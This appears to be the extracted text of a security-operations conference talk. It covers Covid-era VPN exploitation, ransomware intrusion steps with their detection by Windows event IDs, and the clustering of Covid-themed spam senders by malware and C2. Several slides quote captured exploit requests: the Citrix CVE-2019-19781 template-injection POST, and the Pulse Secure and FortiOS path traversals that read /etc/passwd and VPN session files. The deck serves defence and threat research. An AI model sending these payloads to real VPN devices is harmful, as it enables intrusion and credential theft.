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Background

lAfter Covid-19 spread,
Covid-19 cyber threats have been confirmed around the world 

lWith the expansion of telework rapidly increase in use of services such as 
RDP, VPN, and Cloud

lSpam emails related Covid-19 that have been continuously confirmed. 
Attackers put keywords such as masks, financial aid, and vaccines in the 
body of the email to make people open the email.
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Background
Info Security Top10 Risk (Organization)

1. Ransomware
2.Info Steal by APT Attack

3. Attack New normal work style (Telework ,etc)
4.Exploit weakness of Supply Chain 

5.BEC
6. Information leakage due to internal fraud

7. Business suspension due to unexpected IT infrastructure failure

8. Unauthorized login to services on the Internet
9. information leakage due to carelessness

10. Increased abuse due to disclosure of vulnerability 
countermeasure information

Reference: IPA
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Looking back on attacks that use ransomware
Untargeted diffusion
•Phishing mail

•Drive by-download

2016
Cerber

CryptXXX
Crysis

（Dharma）
Jigsaw
Locky
Petya

Philadelphia
Samsam

TeslaCrypt

2017

Diffusion with EternalBlue

WannaCry
NotPetya
Revenge

GlobeImposter
Mole
Jaff

Spora
Matrix

CryptoShield
CryptoMix

2018
GandCrab

Kraken
Ryuk
Seon

Shade (Troldesh)
Sigma
Xorist

Targeted ransomware 
attack

2019
AnteFrigus

CLOP
DoppelPaymer

Eris
GetCrypt
Gibberish

GoldenAxe
Lockbit
Maze
Nemty

Netwalker
Phobos

Pysa
Ragnar Locker

Revil（Sodinokibi）
SunCrypt

Zeppelin(Buran)

Double threatening 

2020
Ako

Avaddon
Conti

Coronalock
DarkSide
EKANS
Egregor
Exorcist

MountLocker
NetFilm
Promety
Roger

Sekhmet

Multiple intimidation

2021

Crying
DearCry

Black Kingdom
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Attackers Heavily Targeting VPN Vulnerability
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Increase VPN connection

Reference: Verizon
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The number of source IPs for 
attacks targeting security devices

Detected by JSOC

0

500

1000

1500

2000

2500

3000

20
19
/9
/1

20
19
/1
0/
1

20
19
/1
1/
1

20
19
/1
2/
1

20
20
/1
/1

20
20
/2
/1

20
20
/3
/1

20
20
/4
/1

20
20
/5
/1

20
20
/6
/1

20
20
/7
/1

20
20
/8
/1

20
20
/9
/1

20
20
/1
0/
1

20
20
/1
1/
1

20
20
/1
2/
1

20
21
/1
/1

20
21
/2
/1

20
21
/3
/1

20
21
/4
/1

20
21
/5
/1

20
21
/6
/1

20
21
/7
/1

20
21
/8
/1

20
21
/9
/1

The number of source IPs for attacks targeting security devices
Detected by JSOCCiscoASA

PulseSecure

FortiOS

F5_BIG-IP

Citrix
Increase number of VPN 

attacks detected 
compared to 2019

Detected by JSOC 12



Detected by JSOC
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Detected by JSOC
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Exploit VPN Vulnerability
Attacks on Citrix

vulnerability
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: xxxxx.co.jp
User-Agent: curl/7.52.1
Accept: */*
NSC_USER: /../../../../../../../../../../netscaler/portal/templates/[10 or 32 strings]
NSC_NONCE: test1337
Content-type: application/x-www-form-urlencoded
Content-Length: 188

url=https://example.com¥&title=[%25+template.new({ʻBLOCKʼ%3dʻexec(¥ʼuname -a | tee 
/netscaler/portal/templates/【10 or 32 strings].xml¥ʻ)%3bʼ})+%25]¥&desc=test¥& UI_inuse=RfWeb
-----
GET /vpn/../vpns/portal/[10 or 32 strings].xml HTTP/1.1
Host: xxxxx.co.jp
User-Agent: curl/7.52.1
Accept: */*
NSC_NONCE: pwnpzi1337
NSC_USER: pwnpzi1337

CVE-2019-19781
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Exploit VPN Vulnerability

Attacks on Pulse 
secure vulnerability

GET /dana-na/../dana/html5acc/guacamole/../../../../../../
../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1
Host: vpn.xxxxx.co.jp
User-Agent: curl/7.65.3
Accept: */*

Released in August 2019, Attack that exploited the 
vulnerability (CVE-2019-11510)

Attackers tried to get external files.
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Exploit VPN Vulnerability
Attacks on Forti OS

vulnerability
【Request】
GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0;) like Gecko
Connection: close

【Response】
HTTP/1.1 200 OK
Date: Thu, 25 Jun 2020 11:46:45 GMT
Server: vpngate.lac.co.jp
Content-Length: 203456
Connection: close
Content-Type: application/javascript

var fgt_lang = ＊＊＊＊＊＊＊＊＊＊

19



Exploit VPN Vulnerability
Attacks on Forti OS

vulnerability

ID and Password in plain text
※ Image is for Verification 

purposes.
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Exploit VPN Vulnerability

21
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See the contents of any files ( /etc/passwd at that time )
※ Image is for Verification purposes.



VPN servers are exploited in 
Ransomware attacks &

Countermeasures from the trace of 
the attacker
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Typical Ransomware TTPs
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Ransomware attack scenario

Intrusion using RDP 
via VPN device

Initial invasion Internal reconnaissanceCVE-2018-13379

Vulnerable
Fortigate
SSL-VPN

Domain Controller

File Server

Backup Server

Run Cobalt Strike with PowerShell 
and download the ransomware

Network Scan & 
Remote logon

Got domain 
administrator 

Credentials using 
Mimikatz

Run Ransomware

C2

24



Ransomware detection points
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Detection
Initial invasion

•RDP
•VPN Exploit
•Brute Force Attack
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Detection
Initial invasion

•RDP
•VPN Exploit
•Brute Force Attack
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Remote logon
Access history by remote desktop.
Event ID:1149 , 4624
Here are two examples that are often seen in the traces of unauthorized intrusion from the 
outside.
•Source address is global IP address
•Source address is the IP address of the VPN device

28



Remote logon detection
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Detection
Initial invasion

•RDP
•VPN Exploit
•Brute Force Attack
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Brute Force Attack

0xC0000064
Incorrect user name 

logon failure

0xC000006A
Incorrect password 

logon failure

31



Brute Force Attack detection
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Detection
Internal reconnaissance
•Network Scan
•Mimikatz
•DC Compromise
- Create Account
- Change Account

33



Detection
Internal reconnaissance
•Network Scan
•Mimikatz
•DC Compromise
- Create Account
- Change Account
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Network scan

This is an example of network 
scanning using Advanced Port 

Scanner.
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Network scan detection

Detects when communication is being performed from one 
source IP address to multiple ports of one destination IP address.
You can reduce excessive detection by tuning the number of 
ports according to your environment.
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Detection
Internal reconnaissance
•Network Scan
•Mimikatz
•DC Compromise
- Create Account
- Change Account
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Obtaining credential 
information using Mimikatz

Mimikatz
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Here, the detection name of Mimikatz is detected by a character string 
match with the process name. If Sysmon is installed, Mimikatz's SHA1 

detection is also possible.
In terms of traces of mimikatz working, rules that detect Golden Ticket, 

Silver Ticket, DCSync, DCShadow, and Zerologon may also work.

Mimikatz detection

39



Detection
Internal reconnaissance
•Network Scan
•Mimikatz
•DC Compromise
- Create Account
- Change Account
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This is an example of creating an account called FaLconIntel.It is recorded 
as event ID "4720" in the Windows Security log.

Create Account

41



We recommend that you detect 4720 for auditing purposes. 
On the other hand, it will detect many events in the business. Therefore, it will be 

more effective if there is a system that has been logged on from an external IP 
address and it is designed to detect only the event in which the account was created.

Create Account detection
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This is an example of changing an 
account called FaLconIntel. This is 

recorded in the Windows security log 
as event ID "4738".

Change Account
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It is recommended to detect 4738 for auditing purposes, but it is also more 
effective if the system logged on from an external IP address is designed.

Change Account detection
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Detection
Run Ransomware

•Stopping services and tasks
•Delete VSS shadow copy
•Disable automatic repair function
•Change network settings (open ports, etc.)

45



Detection
Run Ransomware

•Stopping services and tasks
•Delete VSS shadow copy
•Disable automatic repair function
•Change network settings (open ports, etc.)
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Examples of processes and commands executed by an attacker using Crying 
ransomware by a malicious bat file, such as stopping services or tasks.

Crying Ransomware Activity
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Crying Ransomware Activity detection

Here, we created the detection logic based 
on the executed command.

Here, in order to reduce excessive 
detection, we put a threshold of how many 

OriginalFileNames there are.
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Detection
Run Ransomware

•Stopping services and tasks
•Delete VSS shadow copy
•Disable automatic repair function
•Change network settings (open ports, etc.)
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Phobos Ransomware Activity
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Phobos Ransomware Activity detection

Basically, it searches for the arguments of the process and 
command to be executed as a string, similar to the method 
that detected ransomware in the previous slide. The only 

difference is the command that is executed.
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Spam email vs Spam email related Covid-19

5
2



From MalwareBazzar, Keyword “COVID-19” 
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Attackers set multiple lures to make people open the email
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Subject of spam email disguised as 
Covid-19 Virus related
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Subject of spam email disguised as 
Covid-19 Virus related
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What country these spam mail have been sent from ?
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Malware attached to spam emails in this research
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Method for group classification for each attacker

5
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lSurveyed 227 spam emails
lIf it was sent them by the same attacker, it would have some 
characteristics…
lSpam emails can be classified to some extent by comparing the 
header information and the attached malware C2 information.
lIf it can be grouped, the characteristics of each attacker can be 
organized, and it will be easier to share the IoC. It becomes easier 
to think about defensive measures.

Motivation and Why it is important for grouping and categorizing 
threat source
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Email

•Subject
•Contents
•Attachment File
•From
•Sender IP
•Sender Domain
•From(MailAddress)
•Malware, C2 server
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Process/Points
•Classify by small group, see the relationship with other small groups, and make it 
into a large group

Rather than plotting all the information in hundreds of emails and 
then classifying them, consider the relevance at the timing of plotting 
each one. （However, we do not look deeply at this stage, such as the 

movement of malware.）
The All information of each e-mail judged to be in the same group 
become the characteristic of the group.

•Check whether it is relevant from the information(little basis such as the same AS or 
the same subject), and dig deeper into the attached 

malware etc.
•mark a note or the same IP as to why these spam emails A and 

B were grouped together.

Classification method of cyber threat groups

Easy to trace later
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Characteristics of each adversary

6
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Group A

Malware
AgentTesla

Guloader -> AgentTesla
Formbook
HawkEye
Lokibot

MassLogger
Guloader -> AvemariaRAT

NanocoreRAT
njRAT

Donabot
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Group A Subject & From
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Group A Mail Address “who.int” 
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Group A SMTP
Sender IP
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Group A Characteristic of Malware C2
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Group B

Trickbot Kpot

Lokibot

Azorult

Malware
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Group B Connection between Trickbot & Kpot
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Group B Connection between Trickbot & Kpot
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Group B Connection between Trickbot & Kpot
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Group B Suspicious strings
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Group B Connection between Kpot & Lokibot & Azorult
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Group B Characteristic of SMTP Sender IP & Malware C2
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Suspicion of Group B-related
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Suspicion of Group B-related
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Background of this adversary
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Background of this adversary
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About Spams Exploit CVE-2017-11882

2020/05/06
Azorult 2020/02/04

Hawkeye

2021/02/10
Guloader -> Unknow
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Countermeasures
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Covid-19 Spam emails attack scenario
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3 Characteristics & Detection points details
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Suspicious Document file
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Suspicious Document file detection

85



Suspicious create task Detection
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CVE-2017-11882

Reference︓
https://app.any.run/tasks/109b1b11-01c5-42d6-af1f-5933ba9e19bc/ 87



CVE-2017-11882 Detection

88



Cross-checking IoC Analysis

8
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Why I chose S-TIP

90



The same infrastructures were used in multiple threats 
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The same infrastructures were used in multiple threats 
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The same infrastructures were used in multiple threats 
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Conclusion



95

1. Due to changes in Work style, Attacks targeting vulnerabilities in VPN devices 
have increased overwhelmingly compared to before Covid-19 and are still 
being confirmed.

2. Attackers make recipients urgent or interested messages in order to get them 
to open spam emails.

3. It is possible to classify attackers by analyzing the characteristics of spam emails 
and related malware. Group A’s activity continued to be confirmed in 2021.

4. It is important for your organization's security personnel to find anomalies in 
your organization by collecting and analyzing traces of attacks.

5. It is important to create use cases by considering the user's behavior when 
infected by malicious email opening at the process level.
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Thank you ^^

Any Question?


